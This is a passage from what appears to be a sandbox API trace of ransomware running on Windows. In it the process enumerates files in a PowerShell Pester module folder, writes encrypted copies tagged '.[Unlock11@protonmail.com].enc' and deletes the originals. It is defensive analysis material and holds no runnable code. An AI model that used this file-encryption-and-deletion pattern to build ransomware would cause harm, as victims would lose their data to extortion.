lpLocalFileTime=0x9bb4f0) returned 1 [0231.556] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.556] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.556] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.556] GetCurrentThreadId () returned 0x9b0 [0231.556] GetCurrentThreadId () returned 0x9b0 [0231.556] GetCurrentThreadId () returned 0x9b0 [0231.559] GetCurrentThreadId () returned 0x9b0 [0231.560] GetCurrentThreadId () returned 0x9b0 [0231.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x308) returned 0x3766a38 [0231.560] GetCurrentThreadId () returned 0x9b0 [0231.560] GetCurrentThreadId () returned 0x9b0 [0231.560] GetCurrentThreadId () returned 0x9b0 [0231.561] CloseHandle (hObject=0x39c) returned 1 [0231.561] GetCurrentThreadId () returned 0x9b0 [0231.561] CloseHandle (hObject=0x334) returned 1 [0231.562] GetCurrentThreadId () returned 0x9b0 [0231.562] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Build.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\build.bat")) returned 0 [0231.562] GetCurrentThreadId () returned 0x9b0 [0231.562] GetCurrentThreadId () returned 0x9b0 [0231.562] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\build.psake.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\build.psake.ps1", lpFilePart=0x9bada4*="build.psake.ps1") returned 0x4d [0231.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.563] GetCurrentThreadId () returned 0x9b0 [0231.563] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\CHANGELOG.md", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\CHANGELOG.md", lpFilePart=0x9bada4*="CHANGELOG.md") returned 0x4a [0231.563] GetCurrentThreadId () returned 0x9b0 [0231.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.563] GetCurrentThreadId () returned 0x9b0 [0231.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733e18 [0231.563] GetCurrentThreadId () returned 0x9b0 [0231.564] GetCurrentThreadId () returned 0x9b0 [0231.564] GetCurrentThreadId () returned 0x9b0 [0231.564] GetCurrentThreadId () returned 0x9b0 [0231.564] GetCurrentThreadId () returned 0x9b0 [0231.564] GetCurrentThreadId () returned 0x9b0 [0231.564] GetCurrentThreadId () returned 0x9b0 [0231.565] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\changelog.md"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a)) returned 1 [0231.565] GetCurrentThreadId () returned 0x9b0 [0231.565] GetCurrentThreadId () returned 0x9b0 [0231.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36740ac | out: pbBuffer=0x36740ac) returned 1 [0231.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0231.565] GetCurrentThreadId () returned 0x9b0 [0231.565] GetCurrentThreadId () returned 0x9b0 [0231.566] GetCurrentThreadId () returned 0x9b0 [0231.566] GetCurrentThreadId () returned 0x9b0 [0231.566] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\changelog.md"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.566] GetFileType (hFile=0x334) returned 0x1 [0231.566] GetCurrentThreadId () returned 0x9b0 [0231.566] GetFileType (hFile=0x334) returned 0x1 [0231.567] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.567] GetCurrentThreadId () returned 0x9b0 [0231.567] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\CHANGELOG.md.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\changelog.md.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.568] GetFileType (hFile=0x39c) returned 0x1 [0231.568] GetCurrentThreadId () returned 0x9b0 [0231.568] GetFileType (hFile=0x39c) returned 0x1 [0231.568] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.568] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.568] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.568] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.569] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.569] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.569] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.569] GetCurrentThreadId () returned 0x9b0 [0231.569] GetCurrentThreadId () returned 0x9b0 [0231.569] GetCurrentThreadId () returned 0x9b0 [0231.571] GetCurrentThreadId () returned 0x9b0 [0231.571] GetCurrentThreadId () returned 0x9b0 [0231.571] GetCurrentThreadId () returned 0x9b0 [0231.572] GetCurrentThreadId () returned 0x9b0 [0231.572] GetCurrentThreadId () returned 0x9b0 [0231.573] CloseHandle (hObject=0x39c) returned 1 [0231.573] GetCurrentThreadId () returned 0x9b0 [0231.573] CloseHandle (hObject=0x334) returned 1 [0231.573] GetCurrentThreadId () returned 0x9b0 [0231.573] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\changelog.md")) returned 0 [0231.573] GetCurrentThreadId () returned 0x9b0 [0231.574] GetCurrentThreadId () returned 0x9b0 [0231.574] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\chocolateyInstall.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\chocolateyInstall.ps1", lpFilePart=0x9bada4*="chocolateyInstall.ps1") returned 0x53 [0231.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0231.574] GetCurrentThreadId () returned 0x9b0 [0231.574] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\LICENSE", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\LICENSE", lpFilePart=0x9bada4*="LICENSE") returned 0x45 [0231.574] GetCurrentThreadId () returned 0x9b0 [0231.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.575] GetCurrentThreadId () returned 0x9b0 [0231.575] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\nunit_schema_2.5.xsd", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\nunit_schema_2.5.xsd", lpFilePart=0x9bada4*="nunit_schema_2.5.xsd") returned 0x52 [0231.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.575] GetCurrentThreadId () returned 0x9b0 [0231.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37342f0 [0231.575] GetCurrentThreadId () returned 0x9b0 [0231.575] GetCurrentThreadId () returned 0x9b0 [0231.575] GetCurrentThreadId () returned 0x9b0 [0231.576] GetCurrentThreadId () returned 0x9b0 [0231.576] GetCurrentThreadId () returned 0x9b0 [0231.576] GetCurrentThreadId () returned 0x9b0 [0231.576] GetCurrentThreadId () returned 0x9b0 [0231.576] GetCurrentThreadId () returned 0x9b0 [0231.576] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\nunit_schema_2.5.xsd"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f7)) returned 1 [0231.577] GetCurrentThreadId () returned 0x9b0 [0231.577] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36749e4 | out: pbBuffer=0x36749e4) returned 1 [0231.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0231.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0231.577] GetCurrentThreadId () returned 0x9b0 [0231.577] GetCurrentThreadId () returned 0x9b0 [0231.577] GetCurrentThreadId () returned 0x9b0 [0231.577] GetCurrentThreadId () returned 0x9b0 [0231.578] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\nunit_schema_2.5.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.578] GetFileType (hFile=0x334) returned 0x1 [0231.578] GetCurrentThreadId () returned 0x9b0 [0231.578] GetFileType (hFile=0x334) returned 0x1 [0231.578] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.578] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.578] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.579] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.579] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.579] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.579] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.579] GetCurrentThreadId () returned 0x9b0 [0231.579] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\nunit_schema_2.5.xsd.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\nunit_schema_2.5.xsd.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.595] GetFileType (hFile=0x39c) returned 0x1 [0231.595] GetCurrentThreadId () returned 0x9b0 [0231.595] GetFileType (hFile=0x39c) returned 0x1 [0231.596] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.596] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.596] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.596] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.596] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.596] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.596] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.596] GetCurrentThreadId () returned 0x9b0 [0231.596] GetCurrentThreadId () returned 0x9b0 [0231.596] GetCurrentThreadId () returned 0x9b0 [0231.598] GetCurrentThreadId () returned 0x9b0 [0231.598] GetCurrentThreadId () returned 0x9b0 [0231.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1718) returned 0x3368318 [0231.599] GetCurrentThreadId () returned 0x9b0 [0231.600] GetCurrentThreadId () returned 0x9b0 [0231.600] GetCurrentThreadId () returned 0x9b0 [0231.600] CloseHandle (hObject=0x39c) returned 1 [0231.600] GetCurrentThreadId () returned 0x9b0 [0231.600] CloseHandle (hObject=0x334) returned 1 [0231.600] GetCurrentThreadId () returned 0x9b0 [0231.601] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\nunit_schema_2.5.xsd")) returned 0 [0231.601] GetCurrentThreadId () returned 0x9b0 [0231.601] GetCurrentThreadId () returned 0x9b0 [0231.601] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.nuspec", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.nuspec", lpFilePart=0x9bada4*="Pester.nuspec") returned 0x4b [0231.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.601] GetCurrentThreadId () returned 0x9b0 [0231.602] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x9bada4*="Pester.psd1") returned 0x49 [0231.602] GetCurrentThreadId () returned 0x9b0 [0231.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.602] GetCurrentThreadId () returned 0x9b0 [0231.602] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1", lpFilePart=0x9bada4*="Pester.psm1") returned 0x49 [0231.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.602] GetCurrentThreadId () returned 0x9b0 [0231.603] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.Tests.ps1", lpFilePart=0x9bada4*="Pester.Tests.ps1") returned 0x4e [0231.603] GetCurrentThreadId () returned 0x9b0 [0231.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.603] GetCurrentThreadId () returned 0x9b0 [0231.603] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\README.md", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\README.md", lpFilePart=0x9bada4*="README.md") returned 0x47 [0231.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.603] GetCurrentThreadId () returned 0x9b0 [0231.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733e90 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.604] GetCurrentThreadId () returned 0x9b0 [0231.605] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\readme.md"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16ac)) returned 1 [0231.605] GetCurrentThreadId () returned 0x9b0 [0231.605] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674dcc | out: pbBuffer=0x3674dcc) returned 1 [0231.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0231.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0231.605] GetCurrentThreadId () returned 0x9b0 [0231.605] GetCurrentThreadId () returned 0x9b0 [0231.606] GetCurrentThreadId () returned 0x9b0 [0231.606] GetCurrentThreadId () returned 0x9b0 [0231.606] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\readme.md"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.606] GetFileType (hFile=0x334) returned 0x1 [0231.606] GetCurrentThreadId () returned 0x9b0 [0231.607] GetFileType (hFile=0x334) returned 0x1 [0231.607] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.607] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.607] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.607] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.607] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.607] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.607] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.607] GetCurrentThreadId () returned 0x9b0 [0231.607] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\README.md.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\readme.md.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.608] GetFileType (hFile=0x39c) returned 0x1 [0231.608] GetCurrentThreadId () returned 0x9b0 [0231.608] GetFileType (hFile=0x39c) returned 0x1 [0231.608] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.608] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.608] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.608] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.609] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.609] GetCurrentThreadId () returned 0x9b0 [0231.609] GetCurrentThreadId () returned 0x9b0 [0231.609] GetCurrentThreadId () returned 0x9b0 [0231.611] GetCurrentThreadId () returned 0x9b0 [0231.611] GetCurrentThreadId () returned 0x9b0 [0231.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x16c8) returned 0x370eb48 [0231.611] GetCurrentThreadId () returned 0x9b0 [0231.612] GetCurrentThreadId () returned 0x9b0 [0231.612] GetCurrentThreadId () returned 0x9b0 [0231.612] CloseHandle (hObject=0x39c) returned 1 [0231.613] GetCurrentThreadId () returned 0x9b0 [0231.613] CloseHandle (hObject=0x334) returned 1 [0231.613] GetCurrentThreadId () returned 0x9b0 [0231.613] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\readme.md")) returned 0 [0231.613] GetCurrentThreadId () returned 0x9b0 [0231.614] GetCurrentThreadId () returned 0x9b0 [0231.614] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0231.614] GetCurrentThreadId () returned 0x9b0 [0231.614] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.614] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0231.614] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0231.615] FindClose (in: hFindFile=0x10f7990 | out: 